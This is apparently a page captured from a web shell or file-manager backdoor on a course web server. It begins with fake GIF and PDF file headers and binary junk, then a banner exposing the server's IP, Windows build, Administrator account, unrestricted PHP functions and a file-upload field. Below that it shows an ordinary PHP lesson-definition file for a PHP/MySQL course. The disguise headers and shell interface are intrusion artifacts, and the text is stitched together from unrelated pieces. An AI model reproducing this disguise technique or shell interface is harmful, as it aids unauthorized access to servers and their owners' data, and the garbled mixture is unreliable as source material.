GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST2146/ |
Upload File : |
<? // LessonDefinition.phpinc // Lesson definition. $lessonDef = array(); $lessonDef[] = array(); // Blank lessonDef so numbering is human like. // 01 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Class Overview and Setup.'; $lessonDef[$mi][] = 'action|1|Discuss class procedures and demonstrate <a href="Labs/Lab01/">Lab 1: Class Setup</a>.'; $lessonDef[$mi][] = 'note|1|Class access.'; $lessonDef[$mi][] = 'note|1|Class schedule.'; $lessonDef[$mi][] = 'note|1|Class syllabus.'; $lessonDef[$mi][] = 'note|1|Class method of delivery.'; $lessonDef[$mi][] = 'note|1|Class lecture.'; $lessonDef[$mi][] = 'note|1|Class assignments and evaluations.'; $lessonDef[$mi][] = 'note|1|<a href="Labs/Lab01/">Lab 1: Class Setup</a> demonstration. <ul> <li>Demo Apache installation</li> <li>Demo PHP installation</li> <li>Demo MySQL server installation</li> <li>Demo MySQL tools installation</li> </ul>'; $lessonDef[$mi][] = 'evaluation|2|<a href="./?StudentProfile">Student Profile</a>.'; $lessonDef[$mi][] = 'evaluation|2|<a href="Labs/Lab01/">Lab 1: Class Setup</a>.'; $lessonDef[$mi][] = 'assignment|2|Read or review Chapter 1 <i>Introduction to PHP</i> in <i>'.$textbook['Title1'].'</i>.'; $lessonDef[$mi][] = 'assignment|2|Read or review Chapter 2 <i>Programming with PHP</i> in <i>'.$textbook['Title1'].'</i>.'; $lessonDef[$mi][] = 'assignment|2|Read or review Chapter 3 <i>Creating Dynamic Web Sites</i> in <i>'.$textbook['Title1'].'</i>.'; // 02 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Class Setup Assistance.'; $lessonDef[$mi][] = 'action|1|Help students with <a href="Labs/Lab01/">Lab 1: Class Setup</a>.'; // 03 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Authentication Methods.'; $lessonDef[$mi][] = 'action|1|Discuss authentication methods.'; $lessonDef[$mi][] = 'note|1|HTTP <a href="http://php.net/manual/en/features.http-auth.php">HTTP authentication with PHP</a>.'; $lessonDef[$mi][] = 'note|1|OpenID <a href="http://openid.net/">OpenID Foundation</a> <a href="http://janrain.com/openid-enabled/">PHP code</a>.'; $lessonDef[$mi][] = 'note|1|LDAP <a href="http://php.net/manual/en/function.ldap-bind.php">ldap_bind</a> <a href="https://www.exchangecore.com/blog/how-use-ldap-active-directory-authentication-php/">HOW-TO</a>.'; $lessonDef[$mi][] = 'note|1|Flat File <a href="http://www.informit.com/articles/article.aspx?p=31690&seqNum=3">Example</a>.'; $lessonDef[$mi][] = 'note|1|Database <a href="http://www.wikihow.com/Create-a-Secure-Login-Script-in-PHP-and-MySQL">HOT-TO</a>.'; $lessonDef[$mi][] = 'assignment|2|Read or review Chapter 4 <i>Introduction to MySQL</i> in <i>'.$textbook['Title1'].'</i>.'; $lessonDef[$mi][] = 'assignment|2|Read or review Chapter 5 <i>Introduction to SQL</i> in <i>'.$textbook['Title1'].'</i>.'; // 04 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Authentication Database Design.'; $lessonDef[$mi][] = 'action|1|Discuss authentication database design.'; $lessonDef[$mi][] = 'note|1|Tables: user usersite userpermissions user_userpermissions.'; $lessonDef[$mi][] = 'note|1|<a href="Labs/Lab02/">Lab 2: Authentication Database Design</a>.'; $lessonDef[$mi][] = 'evaluation|2|<a href="Labs/Lab02/">Lab 2: Authentication Database Design</a>.'; // 05 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Authentication Login.'; $lessonDef[$mi][] = 'action|1|Discuss authentication login.'; $lessonDef[$mi][] = 'note|1|Login page vs all page login.'; $lessonDef[$mi][] = 'note|1|Login form.'; $lessonDef[$mi][] = 'assignment|2|Read Chapter 9 <i>Using PHP with MySQL</i> in <i>'.$textbook['Title1'].'</i>.'; // 06 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Final Authentication Tables Design.'; $lessonDef[$mi][] = 'action|1|Discuss final authentication tables design.'; $lessonDef[$mi][] = 'note|1|Create the final authentication tables design.'; $lessonDef[$mi][] = 'note|1|Distribute the final authentication tables design.'; // 07 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Using PHP with MySQL.'; $lessonDef[$mi][] = 'action|1|Discuss connecting to MySQL.'; $lessonDef[$mi][] = 'action|1|Discuss simple queries.'; $lessonDef[$mi][] = 'action|1|Discuss query results.'; // 08 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title|Using PHP with MySQL|.'; $lessonDef[$mi][] = 'action|1|Discuss secure SQL.'; $lessonDef[$mi][] = 'action|1|Discuss returned records.'; $lessonDef[$mi][] = 'action|1|Discuss INSERT, UPDATE, and DELETE queries.'; // 09 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Authentication Login PHP Script.'; $lessonDef[$mi][] = 'action|1|Discuss login the script.'; $lessonDef[$mi][] = 'note|1|Login form.'; $lessonDef[$mi][] = 'note|1|SESSION variables.'; $lessonDef[$mi][] = 'note|1|Page authentication.'; $lessonDef[$mi][] = 'note|1|Discuss assignment and assign source to each student: <ol class="olA"> <li> </li> <li> </li> <li> </li> <li> </li> <li> </li> </ol>'; $lessonDef[$mi][] = 'note|1|Discus <a href="Labs/Lab03/">Lab 3: Authentication Login Script</a>.'; $lessonDef[$mi][] = 'assignment|1|Check out one course scheduling software from: <ol> <li type="A"><a href="http://sourceforge.net/projects/coursescheduler/">sourceforge Course Scheduler</a>.</li> <li type="A"><a href="http://www.mimosasoftware.com/">Mimosa Scheduling Software</a>.</li> <li type="A"><a href="http://schedulingstudio.com/">Lantiv Scheduling Studio</a>.</li> <li type="A"><a href="http://www.dea.com/solutions/software-solutions/Academic-Scheduling-Software.aspx">ems Academic Scheduling Software</a>.</li> <li type="A">Other scheduling software from <a href="http://www.capterra.com/scheduling-software/"></a> or find your own.</li> </ol>'; $lessonDef[$mi][] = 'evaluation|2|<a href="Labs/Lab03/">Lab 3: Authentication Login Script</a>.'; // 10 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Class Project Description (Schedule Planner).'; $lessonDef[$mi][] = 'action|1|Discuss Schedule Planner project.'; $lessonDef[$mi][] = 'note|1|Class import.'; $lessonDef[$mi][] = 'note|1|Class conflicts: <ul> <li>Credential (First year / Second year)</li> <li>Instructor</li> <li>Room number (Lecture / Recording)</li> </ul>'; // 11 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Schedule Planner Data Needs and History.'; $lessonDef[$mi][] = 'action|1|Discuss Schedule Planner data.'; $lessonDef[$mi][] = 'note|1|Credentials.'; $lessonDef[$mi][] = 'note|1|Semester plan.'; $lessonDef[$mi][] = 'note|1|Course prerequisites.'; $lessonDef[$mi][] = 'note|1|Course priorities.'; $lessonDef[$mi][] = 'action|2|Discuss Schedule Planner historical data.'; $lessonDef[$mi][] = 'note|2|Show historical class data.'; // 12 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Schedule Planner Database Design.'; $lessonDef[$mi][] = 'action|1|Discuss database design needs.'; $lessonDef[$mi][] = 'note|1|Course data.'; $lessonDef[$mi][] = 'note|1|Credential semester or year plan tagging.'; $lessonDef[$mi][] = 'note|1|Instructor tagging.'; $lessonDef[$mi][] = 'note|1|Room tagging.'; $lessonDef[$mi][] = 'note|1|Table needs.'; $lessonDef[$mi][] = 'evaluation|3|<a href="Labs/Lab04/">Lab 4: Schedule Planner Database Design</a>.'; // 13 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Parsing Data.'; $lessonDef[$mi][] = 'action|1|Discuss parsing data.'; $lessonDef[$mi][] = 'note|1|Show historical data.'; $lessonDef[$mi][] = 'note|1|Token parsing.'; $lessonDef[$mi][] = 'note|1|Positional parsing.'; $lessonDef[$mi][] = 'note|1|Determining parsing keys.'; $lessonDef[$mi][] = 'note|1|How to select a parsing method.'; // 14 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Parsing Data.'; $lessonDef[$mi][] = 'action|1|Discuss parsing methods.'; $lessonDef[$mi][] = 'note|1|Discuss parsing keys and methods. <ul> <li>Data line types.</li> <li>Parsing method for each line type.</li> </ul>'; $lessonDef[$mi][] = 'note|1|Discuss <a href="Labs/Lab05/">Lab 5: Parsing methods</a>.'; $lessonDef[$mi][] = 'evaluation|2|<a href="Labs/Lab05/">Lab 5: Parsing methods</a>.'; // 15 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Final Schedule Planner Database Design.'; $lessonDef[$mi][] = 'action|1|Discuss the final Schedule Planner database design.'; $lessonDef[$mi][] = 'note|1|Tables.'; $lessonDef[$mi][] = 'note|1|Foreign keys.'; // 16 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Data Parsing Script.'; $lessonDef[$mi][] = 'action|1|Discuss parsing script.'; $lessonDef[$mi][] = 'note|1|The state method (state table).'; $lessonDef[$mi][] = 'note|1|Convert parsing methods per line type into a state table.'; // 17 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Parsing Data Scripting.'; $lessonDef[$mi][] = 'action|1|Continue discussing parsing script.'; $lessonDef[$mi][] = 'note|1|Determine needed scripts.'; $lessonDef[$mi][] = 'note|1|Assign scripts to student or teams: <ol class="olA"> <li> </li> <li> </li> <li> </li> <li> </li> <li> </li> </ol>'; $lessonDef[$mi][] = 'note|1|Discuss <a href="Labs/Lab06/">Lab 6: Parsing script</a>.'; $lessonDef[$mi][] = 'evaluation|4|<a href="Labs/Lab06/">Lab 6: Parsing script</a>.'; // 18 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Schedule Planner Control.'; $lessonDef[$mi][] = 'action|1|Discuss the Schedule Planner control page.'; $lessonDef[$mi][] = 'note|1|Needs.'; $lessonDef[$mi][] = 'note|1|Design.'; $lessonDef[$mi][] = 'note|1|Controls.'; // 19 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Schedule Planner Functions.'; $lessonDef[$mi][] = 'action|1|Discuss the Schedule Planner functionality.'; $lessonDef[$mi][] = 'note|1|What functionality is needed?'; $lessonDef[$mi][] = 'note|1|What pages are needed?'; // 20 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Schedule Planner Pages.'; $lessonDef[$mi][] = 'action|1|Discuss the Schedule Planner Pages.'; $lessonDef[$mi][] = 'note|1|Finalize needed pages?'; $lessonDef[$mi][] = 'note|1|Assign pages to student or teams: <ol class="olA"> <li> </li> <li> </li> <li> </li> <li> </li> <li> </li> </ol>'; $lessonDef[$mi][] = 'note|1|Discuss <a href="Labs/Lab07/">Lab 7: Schedule Planner Page Design</a>.'; $lessonDef[$mi][] = 'evaluation|4|<a href="Labs/Lab07/">Lab 7: Schedule Planner Design</a>.'; // 21 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Importing Data.'; $lessonDef[$mi][] = 'action|1|.Discuss importing historical data.'; $lessonDef[$mi][] = 'note|1|Import control and state table.'; $lessonDef[$mi][] = 'note|1|Parsing scripts.'; // 22 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Import Data.'; $lessonDef[$mi][] = 'action|1|.Import historical data.'; $lessonDef[$mi][] = 'note|1|Demo data import.'; $lessonDef[$mi][] = 'note|1|Demo data entries.'; // 23 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Schedule Planner Final Pages.'; $lessonDef[$mi][] = 'action|1|Discuss Schedule Planner final pages.'; $lessonDef[$mi][] = 'note|1|Overview of page submissions.'; $lessonDef[$mi][] = 'note|1|Discuss <a href="Labs/Lab08/">Lab 8: Schedule Planner Final Pages</a>.'; $lessonDef[$mi][] = 'evaluation|4|<a href="Labs/Lab08/">Lab 8: Schedule Planner Final Pages</a>.'; // 24 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||New Schedule.'; $lessonDef[$mi][] = 'action|1|Discuss bring historical data forward.'; $lessonDef[$mi][] = 'note|1|Demo historical data.'; $lessonDef[$mi][] = 'note|1|Copy historical data to new schedule.'; $lessonDef[$mi][] = 'note|1|Discuss editing the new schedule.'; // 25 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Website Development.'; $lessonDef[$mi][] = 'action|1|Discuss website development.'; $lessonDef[$mi][] = 'note|1|Local development.'; $lessonDef[$mi][] = 'note|1|Development site. <ul> <li>Site setup.</li> <li>Uploading files to the site.</li> <li>File controls.</li> </ul>'; $lessonDef[$mi][] = 'note|1|Testing site. <ul> <li>Site setup.</li> <li>Managing the site update.</li> <li>Uploading files to the site.</li> </ul>'; $lessonDef[$mi][] = 'note|1|Production site. <ul> <li>Site setup.</li> <li>Managing the site update.</li> <li>Uploading files to the site.</li> </ul>'; // 26 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Development site setup.'; $lessonDef[$mi][] = 'action|1|Setup the development site.'; $lessonDef[$mi][] = 'note|1|Demo development site setup.'; $lessonDef[$mi][] = 'note|1|Demo development site functionality.'; $lessonDef[$mi][] = 'note|1|Setup student access to the site.'; // 27 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Schedule Planner Site.'; $lessonDef[$mi][] = 'action|1|Discuss the Schedule Planner site.'; $lessonDef[$mi][] = 'note|1|Demo site page code.'; $lessonDef[$mi][] = 'note|1|Upload site.'; $lessonDef[$mi][] = 'note|1|Upload site.'; $lessonDef[$mi][] = 'action|1|Test the Schedule Planner site.'; $lessonDef[$mi][] = 'action|2|Discuss <a href="Labs/Lab09/">Lab 9: Schedule Planner Testing</a>.'; $lessonDef[$mi][] = 'note|2|Assign pages to test to students or teams: <ol class="olA"> <li> </li> <li> </li> <li> </li> <li> </li> <li> </li> </ol>'; $lessonDef[$mi][] = 'assignment|1|Download the development site files.'; $lessonDef[$mi][] = 'evaluation|1|<a href="Labs/Lab09/">Lab 9: Schedule Planner Testing</a>.'; // 28 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Debug site.'; $lessonDef[$mi][] = 'action|1|Test the Schedule Planner site.'; $lessonDef[$mi][] = 'action|2|Discuss<a href="Labs/Lab10/">Lab 10: Schedule Planner Debugging</a>.'; $lessonDef[$mi][] = 'note|2|Assign pages to debug to students or teams: <ol class="olA"> <li> </li> <li> </li> <li> </li> <li> </li> <li> </li> </ol>'; $lessonDef[$mi][] = 'evaluation|2|<a href="Labs/Lab10/">Lab 10: Schedule Planner Debugging</a>.'; // 29 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Final site test.'; $lessonDef[$mi][] = 'action|1|Final testing and debugging of the Schedule Planner site.'; // 30 $lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index. $lessonDef[$mi][] = 'title||Final Site Review.'; $lessonDef[$mi][] = 'action|1|Review the final site.'; ?>